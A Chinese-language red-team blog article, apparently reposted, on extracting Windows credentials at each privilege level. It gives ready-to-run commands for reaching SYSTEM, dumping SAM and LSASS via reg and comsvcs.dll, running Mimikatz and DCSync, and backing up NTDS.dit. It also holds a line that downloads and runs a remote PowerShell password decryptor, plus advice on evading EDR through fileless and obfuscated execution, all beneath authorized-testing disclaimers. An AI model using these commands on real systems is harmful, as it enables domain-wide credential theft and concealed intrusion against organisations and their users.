Windows凭证提取技术

admin 2026-04-16 03:50:04 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统阐述Windows凭证提取技术,从底层认证机制到实战分阶操作:普通用户权限通过凭据管理器、DPAPI解密获取横向凭证;本地管理员采用SAM离线备份、LSASS内存转储规避EDR;域环境通过DCSync拉取全域哈希。强调权限匹配原则与免杀对抗,提供PsExec提权、原生工具使用等可操作方案,严格限定于授权测试场景。 综合评分: 87 文章分类: 内网渗透,红队,漏洞分析,安全工具,应急响应


cover_image

Windows凭证提取技术

原创

小智 小智

智榜样网络安全学习中心

2026年4月14日 22:00 湖南

在小说阅读器读本章

去阅读

前置合规声明

本文所有内容仅用于授权范围内的企业内网安全测试、红蓝对抗演练与网络安全人才合规培养,严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第 285/286 条等相关法律法规。严禁将相关技术用于任何未经授权的入侵、攻击、数据窃取、系统破坏等违法违规行为,任何非法获取、泄露、滥用计算机系统凭证的行为,都将承担相应的民事、行政乃至刑事责任。

开篇

在内网渗透的全链路里,凭证是贯穿始终的核心。从外网打点拿到的低权限 WebShell,到横向移动打通内网网段,再到最终接管整个域控,整个过程本质上是一场凭证的收集、传递与利用的过程。

很多新手入门内网,总觉得 Mimikatz 是万能的,拿到权限就无脑跑sekurlsa::logonpasswords,结果要么被 EDR 当场查杀,要么触发告警被蓝队溯源,甚至操作不当导致目标服务器蓝屏。核心问题从来不是工具不好用,而是没搞懂 Windows 凭证的底层流转逻辑,也没建立起体系化的凭证获取思路。

这篇文章会从 Windows 凭证的底层生成机制讲起,结合时序图拆解核心原理,再按照内网渗透的实战路径,从低权限免杀获取到域环境全域凭证拉取,完整还原我在护网、授权渗透项目中沉淀的全流程操作,同时讲透实战中的对抗思路与避坑经验。

一、Windows 凭证的生成与流转逻辑

想要做好凭证获取,首先要搞懂一个核心问题:用户输入密码后,Windows 到底做了什么?凭证最终存在哪里?

Windows 的凭证体系,是围绕「身份认证」这个核心设计的,从用户输入密码的那一刻起,到完成认证、凭证落地存储,整个流程是固定且可拆解的。我用一张时序图,把这个完整流程讲透:

exported_image (7)

从这个流程里,我们能直接提炼出内网渗透中,凭证获取的 4 个核心攻击面,也是所有操作的根本目标:

1、LSASS 进程内存:所有登录过的用户凭证(明文密码、NTLM 哈希、Kerberos 票据)都会临时缓存在这里,是全量凭证最核心的攻击点;

2、SAM 数据库:本地用户的 NTLM 哈希持久化存储在这里,拿到 SAM 文件就能解密出所有本地用户凭证;

3、域控 NTDS.dit 数据库:整个域的所有用户、计算机、凭证信息都存在这里,是域渗透的终极目标;

4、DPAPI 加密凭证:浏览器、RDP、WiFi、邮箱等用户凭证,通过 DPAPI 加密存储,低权限下就能解密获取,是实战中最容易出成果的攻击面。

同时我们也能明确一个核心边界:Windows 对凭证的访问有严格的权限隔离,不同权限能触达的攻击面天差地别,这也是我们接下来要讲的,凭证获取的权限边界。

二、凭证获取的权限边界

在内网渗透里,最忌讳的就是「权限不够,工具来凑」。很多新手拿到一个普通用户的 WebShell,就直接往上丢 Mimikatz,结果不仅执行失败,还触发了 EDR 的异常行为告警。

在我经手的数百个渗透项目里,我始终遵循一个原则:先匹配当前权限的可操作范围,再选择对应的技术路径,绝不做超出权限边界的无效操作。Windows 凭证获取的权限边界,分为三个明确的层级:

1. 普通用户权限(本地 / 域普通用户)

这是我们外网打点后,最常拿到的初始权限。这个权限下,你无法读取 LSASS 进程内存,也无法访问 SAM 数据库,但依然能拿到大量高价值的横向凭证:

  • 当前用户凭据管理器里保存的 RDP、SMB 共享、网站凭证;
  • 当前用户的浏览器、邮箱、VPN 客户端保存的明文账号密码;
  • 本机连接过的 WiFi 密码;
  • 当前用户的 Kerberos 票据,可用于 PTT 票据传递攻击。

这个层级的核心思路是:用原生工具做免杀无告警操作,优先拿能直接横向的明文凭证,绝不做提权之外的高风险操作

2. 本地管理员权限

拿到这个权限,就意味着你拥有了单台主机的完整控制权,也是内网横向的核心门槛。这个权限下,你可以:

  • 升级到 System 系统权限,读取 LSASS 进程内存,获取本机所有登录过的用户凭证;
  • 备份 SAM 数据库,解密所有本地用户的 NTLM 哈希;
  • 解密本机所有用户的 DPAPI 加密凭证;
  • 读取本机存储的所有 Kerberos 票据。

这个层级的核心思路是:先升级到 System 权限,再做凭证提取,优先用离线转储的方式规避 EDR 监控,避免直接内存读取触发告警

3. System 系统权限

Windows 的本地最高权限,也是凭证获取的最优权限。这个权限下,没有任何读取限制,你可以:

  • 无阻碍读取 LSASS 进程完整内存,获取全量凭证;
  • 直接操作 SAM 数据库、注册表敏感项;
  • 域环境下,用域管权限的 System 账号执行 DCSync,拉取整个域的所有用户凭证;
  • 解密系统级的 DPAPI 加密凭证。

从本地管理员升级到 System 权限,是凭证获取的前置必备操作,我最常用的是微软原生的 sc 创建服务方式,全 Windows 版本兼容,微软官方签名,99% 的 EDR 不会拦截:

sc create SystemCmd binpath= "cmd /c start cmd.exe" type= own type= interact obj= LocalSystem
sc start SystemCmd

image-20260317195234596

执行后会直接弹出一个 System 权限的 CMD 窗口,全程无第三方工具落地,隐蔽性拉满。

image-20260317193026133

Tips:此操作的系统权限cmd不能输入任何命令,因为type= interact: 这是一个过时的参数,试图让服务允许与桌面交互。本质都是Windows 会话 0 隔离安全机制导致的

如何解决?

使用官方PsExec 这也是微软官方推荐的、能完美解决这个问题的工具**。它的原理是:

1、它确实会在后台创建一个临时服务。

2、但它会通过内部管道把 SYSTEM 权限的 cmd 的输入输出流重定向到你当前的桌面会话(会话 1)。

3、因此你得到的窗口既拥有 SYSTEM 权限,又能正常打字。

下载地址:https://download.sysinternals.com/files/PSTools.zip

psexec64 -i -s cmd.exe

image-20260318212438181

三、凭证获取技术详解

接下来的内容,完全按照内网渗透的实战流程推进:从拿到初始普通用户权限的免杀操作,到本地管理员权限的全量凭证提取,再到域环境的全域凭证拉取,完整还原我在项目中的标准操作流程。

第一阶段:普通用户权限下的原生免杀凭证获取

在有 EDR 的目标环境里,我从来不会第一时间上工具,优先用系统自带的 LOLBins 原生工具。这些工具都是微软官方签名的白名单文件,不仅全版本兼容,而且几乎不会触发任何告警,是低权限环境下的最优选择。

1. 凭据管理器凭证提取

Windows 凭据管理器会保存用户手动勾选「记住密码」的远程桌面、SMB 共享、网站、FTP 凭证,也是我在低权限环境下,第一个会看的地方 —— 护网项目里,80% 的横向突破都来自这里,很多运维会把域内服务器的 RDP 凭证保存在这里。

:: 查看本机保存的所有凭据列表,确认目标地址与用户名
cmdkey /list
:: 读取凭据库完整内容,Win8/2012及以上版本原生支持
vaultcmd /listcreds:"Windows Credentials" /all

image-20260317195344003

拿到凭据列表后,配合 PowerShell 的 Get-VaultCredential 脚本,无文件内存执行,就能直接解密出明文密码,全程无磁盘落地,普通用户权限即可执行。

2. 浏览器与 DPAPI 凭证解密

绝大多数用户都会在浏览器里保存内网 OA、运维平台、VPN、邮箱的账号密码,这是低权限环境下最容易出成果的地方。Chrome、Edge、Firefox 的凭证,都是用当前用户的 DPAPI 密钥加密的,普通用户权限就能直接解密。

我常用的方式是无文件执行 ChromeDecrypt 脚本,内存中直接解密输出明文凭证,不会留下任何文件痕迹:

IEX (New-Object Net.WebClient).DownloadString("https://github.com/thisismyrobot/chrome-decrypt.ps1/blob/master/chrome-decrypt.minified.ps1")
Get-ChromePasswords

Tips:此处仅作了解,若感兴趣的可以自行Bing搜索

除了浏览器,Outlook、FTP 客户端、VPN 软件的凭证,也都可以用对应的 DPAPI 解密脚本获取,核心逻辑都是一样的:用当前用户的权限,解密当前用户的加密凭证,全程无高风险操作,EDR 基本不会拦截。

3. WiFi 密码提取

这个操作多用于物理渗透、办公终端打点的场景,普通用户权限就能读取当前用户连接过的 WiFi 明文密码,本地管理员权限能读取本机所有保存的 WiFi 密码:

:: 查看所有连接过的WiFi名称
netsh wlan show profiles
:: 读取指定WiFi的明文密码
netsh wlan show profile name="目标WiFi名称" key=clear

image-20260317211022912

image-20260317211130187

第二阶段:system权限下的凭证提取

拿到本地管理员权限,并使用psexec64升级到 System 权限后,我们就可以获取单台主机的全量凭证了。实战中我始终遵循一个原则:能离线分析的,绝不在线解密;能原生操作的,绝不用第三方工具,最大程度规避 EDR 的实时监控。

1. SAM 数据库离线解密

SAM 数据库存储了本机所有本地用户的 NTLM 哈希,很多新手会直接去复制C:\Windows\System32\config\SAM文件,结果发现文件被系统锁定,根本读不出来。正确的方式是用系统原生的 reg 命令备份,这是系统官方支持的操作,不会被锁定,也几乎不会触发告警:

:: 备份SAM和SYSTEM注册表文件,缺一不可
reg save HKLM\SAM C:\Windows\Temp\SAM.bak
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.bak

image-20260319143659564

拿到这两个备份文件后,把它们下载到本地离线环境,用 Mimikatz 就能直接解密出所有本地用户的 NTLM 哈希:

lsadump::sam /sam:C:\Windows\Temp\SAM.bak /system:C:\Windows\Temp\SYSTEM.bak

image-20260319145427505

整个过程,我们只在目标机上执行了两条原生备份命令,没有任何敏感的解密操作,完美规避了 EDR 对 SAM 文件读取的监控。

2. LSASS 内存离线转储与解密

LSASS 内存是凭证的核心来源,但直接在目标机上读取 LSASS 内存,会被绝大多数 EDR 当场拦截。实战中最优的解决方案,是原生转储 + 离线解密:只在目标机上执行内存转储操作,把转储后的 dmp 文件下载到本地,再离线解密凭证,完全规避 EDR 的实时内存监控。

我最常用的是系统原生的 rundll32 调用 comsvcs.dll 转储,全 Windows 版本兼容,原生系统自带,免杀性极强:

:: 先获取LSASS进程的PID
tasklist | findstr lsass.exe

image-20260319150658115

:: 用comsvcs.dll完整转储LSASS内存,替换为实际的LSASS进程PID
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 788 C:\Windows\Temp\lsass.dmp full

image-20260319150815618

拿到 lsass.dmp 文件后,在本地离线环境用 Mimikatz 执行解密,就能拿到所有登录过的用户明文密码、NTLM 哈希、Kerberos 票据:

sekurlsa::minidump C:\Windows\Temp\lsass.dmp
sekurlsa::logonpasswords

image-20260319150905260

这里要提一个新手最容易犯的错:为了拿明文密码,修改注册表开启 WDigest。Win7/2008R2 之后的系统,默认关闭了 WDigest,LSASS 里不会缓存明文密码,很多教程会教你改注册表开启,但这个操作一定会触发 EDR 的高危告警,完全得不偿失。实战中根本不需要明文密码,拿到 NTLM 哈希就能做 PTH 哈希传递,拿到 Kerberos 票据就能做 PTT 票据传递,效果完全一样。

第三阶段:域环境全域凭证拉取

当我们拿到域管权限后,核心目标就从单台主机的凭证,变成了整个域的全量用户凭证。这里我重点讲两个实战中最常用、最稳定的技术,也是域渗透的核心操作。

1. DCSync 攻击:不用登录域控,拉取全域凭证

DCSync 是域渗透中最强大的凭证获取技术,它的核心原理是模拟域控之间的目录复制同步流程,向域控发起目录复制请求,直接拉取整个域的所有用户 NTLM 哈希,包括域管、KRBTGT 账号的哈希,完全不需要在域控上执行任何代码。

我用一张时序图,把 DCSync 的攻击流程讲透:

exported_image (8)

从时序图里能看到,DCSync 的核心门槛是权限:执行账号必须拥有域控的DS-Replication-Get-ChangesDS-Replication-Get-Changes-All权限,默认只有域管理员、企业管理员、域控机器账号拥有这个权限。

实战中,我用 Mimikatz 执行 DCSync,最常用的有两条命令:

:: 拉取KRBTGT账号的哈希,用于伪造黄金票据,接管整个域
lsadump::dcsync /domain:zbylab.com /user:krbtgt

image-20260319151240371

:: 拉取整个域的所有用户哈希,获取全域凭证
lsadump::dcsync /domain:zbylab.com /all

image-20260319151337578

DCSync 会在域控上留下目录复制的日志,所以一定要在书面授权的范围内执行,同时尽量避免全量拉取,减少日志量,降低被蓝队发现的概率。

2. NTDS.dit 数据库离线备份

如果我们已经拿到了域控的 System 权限,想要完整备份整个域的凭证数据,最稳定的方式是用域控原生的 ntdsutil 工具备份 NTDS.dit 数据库。这个工具是微软官方的域控管理工具,不会触发任何告警,备份出来的文件可以离线解密出整个域的所有用户凭证。

:: 域控System权限下执行,完整备份NTDS.dit和对应注册表文件
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS_Backup" q q

image-20260319151821072

执行后,会在目标目录生成完整的备份文件,包含 NTDS.dit 数据库和 SYSTEM 注册表文件,完整目录如下

image-20260319151937334

把文件下载到本地后,用 Mimikatz 就能一次性解密出整个域的所有用户 NTLM 哈希:

lsadump::ntds /ntds:C:\Windows\Temp\NTDS_Backup\Active Directory\NTDS.dit /system:C:\Windows\Temp\NTDS_Backup\registry\SYSTEM

image-20260319151857464

四、实战对抗:EDR 环境下的绕过思路

现在绝大多数企业内网都部署了 EDR,传统的直接读取 LSASS、执行 Mimikatz 的方式,基本都会被当场拦截。我在无数个有 EDR 的项目里,总结出了一套体系化的对抗思路,核心逻辑就三点:免杀执行、行为规避、离线分析

1、优先原生工具,规避静态查杀

全程优先使用系统自带的 LOLBins 工具,比如 sc、reg、rundll32、netsh、ntdsutil 这些,微软官方签名的文件,99% 的 EDR 不会把它们加入黑名单。能只用原生命令完成的操作,绝不用第三方工具。

2、行为规避:拆分敏感操作,降低告警风险

EDR 的行为监控,核心是拦截「敏感操作的组合」。比如直接执行 Mimikatz 的sekurlsa::logonpasswords,包含了「调试权限开启 + LSASS 内存读取 + 凭证解密」三个高危行为,一定会被拦截。但我们把操作拆分成「原生转储 LSASS 内存→文件下载到本地→离线解密」,每一步都是正常操作,没有组合起来的高危行为,EDR 基本不会拦截。

3、无文件内存执行,规避文件落地查杀

必须要用脚本、工具的时候,全程用无文件内存执行的方式,不把任何文件落地到目标机的磁盘上,规避 EDR 的静态文件查杀。同时对 PowerShell 脚本进行 Base64 编码、混淆处理,绕过 EDR 的特征码检测。

4、放弃明文执念,规避高危操作

永远不要为了拿明文密码,去修改注册表开启 WDigest、去注入进程,这些操作都是 EDR 的重点监控对象。实战中,NTLM 哈希和 Kerberos 票据,完全能满足横向移动、权限提升的所有需求,根本不需要明文密码。

五、实战避坑红线

最后,讲几个我在项目里踩过的坑,也是所有新手必须记住的红线:

1、LSASS 转储不当会导致系统蓝屏:LSASS 是 Windows 的核心进程,转储操作如果出错,会导致 LSASS 进程崩溃,系统会直接蓝屏重启。在生产环境中,一定要提前和客户确认风险,优先在非核心业务主机上测试,避免影响业务运行。

2、无授权操作必踩法律红线:任何凭证获取、横向移动操作,都必须在书面授权的范围、时间、边界内执行。哪怕你只是用 cmdkey 看了一眼凭据,只要没有授权,就属于非法入侵计算机系统,会承担刑事责任。

3、凭证数据必须严格保密:获取到的凭证数据,必须加密存储、合规使用,测试完成后必须按授权要求彻底销毁,绝对不能泄露、传播、滥用,一旦造成企业数据泄露,会承担相应的法律责任。

4、不要盲目执行全量操作:不要一拿到域管权限,就直接全量 DCSync、全端口扫描,这些操作会产生大量的日志,极易被蓝队发现。实战中优先精准定位目标,需要什么就拿什么,最小化操作痕迹。

结尾

凭证获取不是内网渗透的终点,而是横向移动的起点。我们拿到的 NTLM 哈希、Kerberos 票据,最终都要用来打通内网网段,实现权限的持续传递与提升。

🎁 互动与福利

分享本文到朋友圈,点赞+在看+关注,一键三联,可以凭截图找老师领取

上千学习资料+工具

22919c6e4ef945aa9a9cbf0f6df4f6ff

分享后扫码加我!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:智榜样网络安全学习中心 小智 小智《Windows凭证提取技术》

Windows凭证提取技术 网络安全文章

Windows凭证提取技术

文章总结: 本文系统阐述Windows凭证提取技术,从底层认证机制到实战分阶操作:普通用户权限通过凭据管理器、DPAPI解密获取横向凭证;本地管理员采用SAM离
国家安全头等大事 网络安全文章

国家安全头等大事

文章总结: 本文为中国网络空间安全协会转载自国家安全部微信公众号的图文内容,标题强调国家安全为头等大事。因正文完全由图片构成,无可提取的有效文本,故无法提供实质
评论:0   参与:  0